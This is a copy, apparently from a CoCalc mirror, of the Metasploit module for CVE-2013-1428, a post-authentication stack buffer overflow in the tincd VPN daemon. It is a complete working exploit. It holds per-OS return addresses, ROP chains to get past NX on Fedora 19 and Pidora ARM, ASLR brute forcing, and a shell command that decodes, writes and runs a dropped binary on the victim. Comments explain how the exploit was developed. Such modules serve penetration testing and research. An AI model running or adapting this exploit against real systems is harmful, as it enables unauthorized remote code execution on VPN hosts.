CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/vpn/tincd_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'securerandom'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = AverageRanking
10
11
include Msf::Exploit::EXE
12
include Msf::Exploit::Remote::TincdExploitClient
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Tinc's tincd
19
service. After authentication, a specially crafted tcp packet (default port 655)
20
leads to a buffer overflow and allows to execute arbitrary code. This module has
21
been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 7
22
(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of
23
FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works
24
for all versions <= 1.1pre6.
25
A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to
26
be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd
27
was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module
28
it was recommended to the maintainer to start using DEP/ASLR and other protection
29
mechanisms.
30
},
31
'Author' =>
32
[
33
# PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module
34
'Tobias Ospelt', # @floyd_ch
35
# original finding, python PoC crash
36
'Martin Schobert' # @nitram2342
37
],
38
'References' =>
39
[
40
['CVE', '2013-1428'],
41
['OSVDB', '92653'],
42
['BID', '59369'],
43
['URL', 'http://www.floyd.ch/?p=741'],
44
['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/']
45
],
46
'DefaultOptions' =>
47
{
48
'EXITFUNC' => 'process'
49
},
50
'Payload' =>
51
{
52
'Space' => 1675,
53
'DisableNops' => true
54
},
55
'Privileged' => true,
56
'Targets' =>
57
[
58
# full exploitation x86:
59
['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
60
['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
61
['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],
62
['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {
63
'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
64
],
65
['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {
66
'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }
67
],
68
['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],
69
['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],
70
# full exploitation ARM:
71
['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', {
72
'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }
73
],
74
['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', {
75
'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }
76
],
77
# crash only:
78
['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
79
['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
80
['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],
81
['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]
82
],
83
'DisclosureDate' => '2013-04-22', # finding, msf module: Dec 2013
84
'DefaultTarget' => 0))
85
86
register_options(
87
[ # Only for shellcodes that write binary to disk
88
# Has to be short, usually either . or /tmp works
89
# /tmp could be mounted as noexec
90
# . is usually only working if tincd is running as root
91
OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),
92
OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),
93
OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])
94
], self
95
)
96
end
97
98
def exploit
99
# #
100
# x86
101
# #
102
# WINDOWS XP and 7 full exploitation
103
# Simple, we only need some mona.py magic
104
# C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"
105
# !mona config -set workingfolder c:\logs\%p
106
# !mona pc 1682
107
# --> C:\logs\tincd\pattern
108
# !mona findmsp
109
# Straight forward, when we overwrite EIP the second value
110
# on the stack is pointing to our payload.
111
# !mona findwild -o -type instr -s "pop r32# ret"
112
113
# FREEBSD full exploitation
114
# Same offset as windows, same exploitation method
115
# But we needed a new pop r32# ret for the freebsd version
116
# No mona.py help on bsd or linux so:
117
# - Dumped .text part of tincd binary in gdb
118
# - Search in hex editor for opcodes for "pop r32# ret":
119
# 58c3, 59c3, ..., 5fc3
120
# - Found a couple of 5dc3. ret = start of .text + offset in hex editor
121
# - 0x0804BABB works very well
122
123
# UBUNTU crash only
124
# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because
125
# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known
126
# at compile time. gcc is introducing a call to __memcpy_chk:
127
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
128
# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print
129
# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed
130
# from the repository. It might be exploitable for versions compiled with an older version of gcc.
131
# memcpy_chk seems to be in gcc since 2005:
132
# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c
133
# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088
134
135
# OPENSUSE
136
# OpenSuse 11.2
137
# Installation as described on the tincd website. For 11.2 there are two versions.
138
# Decided for 1.0.16 as this is a vulnerable version
139
# wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"
140
# rpm -i tinc-1.0.16-3.1.i586.rpm
141
# Again, strace shows us that the buffer overflow was detected (see Ubuntu)
142
# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
143
# So a crash-only non-exploitable bof here. So let's go for manual install:
144
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
145
# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install
146
# Exploitable. Let's see:
147
# tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:
148
# the offset to pop ebp; ret is 0x0804b07f
149
150
# FEDORA
151
# Fedora 16
152
# yum has version 1.0.19
153
# yum install tinc
154
# Non-exploitable crash, see Ubuntu. Strace tells us:
155
# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51
156
# About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23
157
# Manual compile went on with Fedora 19
158
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
159
# yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install
160
# Don't forget to stop firewalld for testing, as the port is still closed otherwise
161
# # hardening-check tincd
162
# tincd:
163
# Position Independent Executable: no, normal executable!
164
# Stack protected: no, not found!
165
# Fortify Source functions: no, only unprotected functions found!
166
# Read-only relocations: yes
167
# Immediate binding: no, not found!
168
# Running this module with target set to Windows:
169
# Program received signal SIGSEGV, Segmentation fault.
170
# 0x0041caa6 in ?? ()
171
# well and that's our windows offset...
172
# (gdb) info proc mappings
173
# 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd
174
# After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we
175
# can try to execute the payload on the stack, but:
176
# (gdb) stepi
177
# Program received signal SIGSEGV, Segmentation fault.
178
# 0x08e8ee08 in ?? ()
179
# Digging deeper we find:
180
# dmesg | grep protection
181
# [ 0.000000] NX (Execute Disable) protection: active
182
# or:
183
# # objdump -x /usr/local/sbin/tincd
184
# [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
185
# filesz 0x00000000 memsz 0x00000000 flags rw-
186
# or: https://bugzilla.redhat.com/show_bug.cgi?id=996365
187
# Time for ROP
188
# To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode
189
# as a pointer to instructions). Was lucky after some searching:
190
# (gdb) x/10i 0x4d10ee87
191
# 0x4d10ee87: pop %ebx
192
# 0x4d10ee88: mov $0xf5d299dd,%eax
193
# 0x4d10ee8d: rcr %cl,%al
194
# 0x4d10ee8f: pop %esp
195
# 0x4d10ee90: ret
196
197
# ARCHLINUX
198
# archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:
199
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
200
# pacman -S gcc zlib lzo openssl make && ./configure && make && make install
201
# Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000
202
# -->Ret: 0x8065929
203
# No NX protection, it simply runs the shellcode :)
204
205
# #
206
# ARM
207
# #
208
# ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi
209
# Although this is more for the interested reader, as Pidora development
210
# already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs
211
# meaning it's an ARMv6 architecture
212
# yum has fixed version 1.0.21, so went for manual compile:
213
# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'
214
# yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install
215
# Is the binary protected?
216
# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
217
# # ./checksec.sh --file /usr/local/sbin/tincd
218
# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
219
# No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd
220
# so again NX... but what about the system things?
221
# cat /proc/sys/kernel/randomize_va_space
222
# 2
223
# --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.
224
# This is the default setting."
225
# Here some examples of the address of the system function:
226
# 0xb6c40848
227
# 0xb6cdd848
228
# 0xb6c7c848
229
# Looks like we would have to brute force one byte
230
# (gdb) info proc mappings
231
# 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd
232
# 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd
233
# When we exploit we get the following:
234
# Program received signal SIGSEGV, Segmentation fault.
235
# 0x90909090 in ?? ()
236
# ok, finally a different offset to eip. Let's figure it out:
237
# $ tools/pattern_create.rb 1676
238
# Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:
239
# (gdb) break *0x9000
240
# Breakpoint 1 at 0x9000
241
# See that our shellcode is *on* the stack:
242
# (gdb) x/10x $sp
243
# 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698
244
# 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode
245
# 0xbee14328: 0xe3a02006 0xe3a07001
246
# let's explore the code we can reuse:
247
# (gdb) info functions
248
# objdump -d /usr/local/sbin/tincd >assembly.txt
249
# while simply searching for the bx instruction we were not very lucky,
250
# but searching for some "pop pc" it's easy to find nice gadgets.
251
# we can write arguments to the .data section again:
252
# 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS
253
# The problem is we can not reliably forecast the system function's address, but it's
254
# only one byte random, therefore we have to brute force it and/or find a memory leak.
255
# Let's assume it's a restarting daemon:
256
# create /etc/systemd/system/tincd.service and fill in Restart=restart-always
257
258
# ARM Debian Wheezy on qemu
259
# root@debian:~# apt-cache showpkg tinc
260
# Package: tinc
261
# Versions:
262
# 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)
263
# nice, that's vulnerable
264
# apt-get install tinc
265
# apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf
266
# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh
267
# # ./checksec.sh --file /usr/sbin/tincd
268
# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
269
# Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd
270
# Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here
271
272
packet_payload = payload.encoded
273
# Pidora and Fedora/ROP specific things
274
if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/
275
rop_generator = nil
276
filename = rand_text_alpha(1)
277
cd = "cd #{datastore['BINARY_DROP_LOCATION']};"
278
cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'
279
280
if target.name =~ /Pidora 18/
281
print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')
282
print_status('This requires a restarting tincd daemon!')
283
print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')
284
rop_generator = method(:create_pidora_rop)
285
elsif target.name =~ /Fedora 19/
286
print_status('Using ROP to defeat NX on Fedora 19')
287
rop_generator = method(:create_fedora_rop)
288
end
289
290
if target.arch.include? ARCH_CMD
291
# The CMD payloads are a bit tricky on Fedora. As of december 2013
292
# some of the generic unix payloads (e.g. reverse shell with awk) don't work
293
# (even when executed directly in a terminal on Fedora)
294
# use generic/custom and specify PAYLOADSTR without single quotes
295
# it's usually sh -c *bla*
296
packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))
297
else
298
# the binary drop payloads
299
packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)
300
if packet_payload.length > target['offset']
301
print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")
302
packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
303
vprint_status("Achieved version with #{packet_payload.length} bytes")
304
end
305
end
306
end
307
308
if packet_payload.length > target['offset']
309
fail_with(Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")
310
end
311
injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')
312
313
vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")
314
315
if target.name =~ /Pidora 18/
316
# we have to brute force to defeat ASLR
317
datastore['BRUTEFORCE_TRIES'].times do
318
print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")
319
setup_ciphers
320
print_status('Telling tinc exploit client to connect, handshake and send the payload')
321
begin
322
send_recv(injection)
323
rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error
324
print_error(runtime_error.message)
325
print_error(runtime_error.backtrace.join("\n\t"))
326
rescue Rex::ConnectionRefused
327
print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')
328
sleep(3)
329
next
330
end
331
secs = datastore['WAIT']
332
print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")
333
sleep(secs)
334
end
335
print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")
336
else
337
# Setup local ciphers
338
print_status('Initializing tinc exploit client (setting up ciphers)')
339
setup_ciphers
340
# The tincdExploitClient will do the crypto handshake with the server and
341
# send the injection (a packet), where the actual buffer overflow is triggered
342
print_status('Telling tinc exploit client to connect, handshake and send the payload')
343
send_recv(injection)
344
end
345
print_status('Exploit finished')
346
end
347
348
def get_cmd_binary_drop_payload(filename, cd, rop_generator)
349
elf_base64 = Rex::Text.encode_base64(generate_payload_exe)
350
cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]
351
vprint_status("You will try to execute #{cmd.join(' ')}")
352
rop_generator.call(cmd)
353
end
354
355
def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)
356
elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))
357
cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]
358
vprint_status("You will try to execute #{cmd.join(' ')}")
359
rop_generator.call(cmd)
360
end
361
362
def create_pidora_rop(sys_execv_args)
363
sys_execv_args = sys_execv_args.join(' ')
364
sys_execv_args += "\x00"
365
366
aslr_byte_guess = SecureRandom.random_bytes(1).ord
367
print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")
368
369
# Gadgets tincd
370
# c714: e1a00004 mov r0, r4
371
# c718: e8bd8010 pop {r4, pc}
372
mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')
373
pop_r4_ret = [0x0000c718].pack('V')
374
# 1cef4: e580400c str r4, [r0, #12]
375
# 1cef8: e8bd8010 pop {r4, pc}
376
# mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')
377
378
# bba0: e5843000 str r3, [r4]
379
# bba4: e8bd8010 pop {r4, pc}
380
mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')
381
382
# 13ccc: e1a00003 mov r0, r3
383
# 13cd0: e8bd8008 pop {r3, pc}
384
pop_r3_ret = [0x00013cd0].pack('V')
385
386
# address to start rop (removing 6 addresses of garbage from stack)
387
# 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc}
388
# start_rop = [0x00015cb4].pack('V')
389
# see target Ret
390
391
# system function address base to brute force
392
# roughly 500 tests showed addresses between
393
# 0xb6c18848 and 0xb6d17848 (0xff distance)
394
system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')
395
396
# pointer into .data section
397
loc_dot_data = 0x0002b3f0 # a location inside .data
398
399
# Rop into system(), prepare address of payload in r0
400
rop = ''
401
402
# first, let's put the payload into the .data section
403
404
# Put the first location to write to in r4
405
rop += pop_r4_ret
406
407
sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|
408
# Give location inside .data via stack
409
rop += [loc_dot_data + i * 4].pack('V')
410
# Pop 4 bytes of the command into r3
411
rop += pop_r3_ret
412
# Give 4 bytes of command on stack
413
if argument_part.length == 4
414
rop += argument_part
415
else
416
rop += argument_part + rand_text_alpha(4 - argument_part.length)
417
end
418
# Write the 4 bytes to the writable location
419
rop += mov_to_r4_addr_pop_r4_ret
420
end
421
422
# put the address of the payload into r4
423
rop += [loc_dot_data].pack('V')
424
425
# now move r4 to r0
426
rop += mov_r0_r4_pop_r4_ret
427
rop += rand_text_alpha(4)
428
# we don't care what ends up in r4 now
429
430
# call system
431
rop += system_addr
432
end
433
434
def create_fedora_rop(sys_execv_args)
435
# Gadgets tincd
436
loc_dot_data = 0x80692e0 # a location inside .data
437
pop_eax = [0x8065969].pack('V') # pop eax; ret
438
pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret
439
pop_ecx = [0x804e113].pack('V') # pop ecx; ret
440
xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret
441
# <ATTENTION> This one destroys ebx:
442
mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret
443
# </ATTENTION>
444
445
# Gadgets libcrypto.so.10 libcrypto.so.1.0.1e
446
xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret
447
# xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret
448
# inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret
449
450
# Gadgets libc.so.6 libc-2.17.so
451
pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret
452
int_80 = [0x4b6049c5].pack('V') # int 0x80
453
454
# Linux kernel system call 11: sys_execve
455
# ROP
456
rop = ''
457
458
index = 0
459
stored_argument_pointer_offsets = []
460
461
sys_execv_args.each_with_index do |argument, argument_no|
462
stored_argument_pointer_offsets << index
463
argument.scan(/.{1,4}/).each_with_index do |argument_part, i|
464
# Put location to write to in eax
465
rop += pop_eax
466
# Give location inside .data via stack
467
rop += [loc_dot_data + index + i * 4].pack('V')
468
# Pop 4 bytes of the command into ecx
469
rop += pop_ecx
470
# Give 4 bytes of command on stack
471
if argument_part.length == 4
472
rop += argument_part
473
else
474
rop += argument_part + rand_text_alpha(4 - argument_part.length)
475
end
476
# Write the 4 bytes to the writable location
477
rop += mov_to_eax_addr
478
end
479
# We have to end the argument with a zero byte
480
index += argument.length
481
# We don't have "xor ecx, ecx", but we have it for eax...
482
rop += xor_eax_eax
483
rop += xchg_ecx_eax
484
# Put location to write to in eax
485
rop += pop_eax
486
# Give location inside .data via stack
487
rop += [loc_dot_data + index].pack('V')
488
# Write the zeros
489
rop += mov_to_eax_addr
490
index += 1 # where we can write the next argument
491
end
492
493
# Append address of the start of each argument
494
stored_argument_pointer_offsets.each do |offset|
495
rop += pop_eax
496
rop += [loc_dot_data + index].pack('V')
497
rop += pop_ecx
498
rop += [loc_dot_data + offset].pack('V')
499
rop += mov_to_eax_addr
500
index += 4
501
end
502
# end with zero
503
rop += xor_eax_eax
504
rop += xchg_ecx_eax
505
506
rop += pop_eax
507
rop += [loc_dot_data + index].pack('V')
508
rop += mov_to_eax_addr
509
510
rop += pop_ebx
511
rop += [loc_dot_data].pack('V')
512
513
rop += pop_ecx
514
rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')
515
516
rop += pop_edx
517
rop += [loc_dot_data + index].pack('V')
518
519
# sys call 11 = sys_execve
520
rop += pop_eax
521
rop += [0x0000000b].pack('V')
522
523
rop += int_80
524
end
525
end
526
527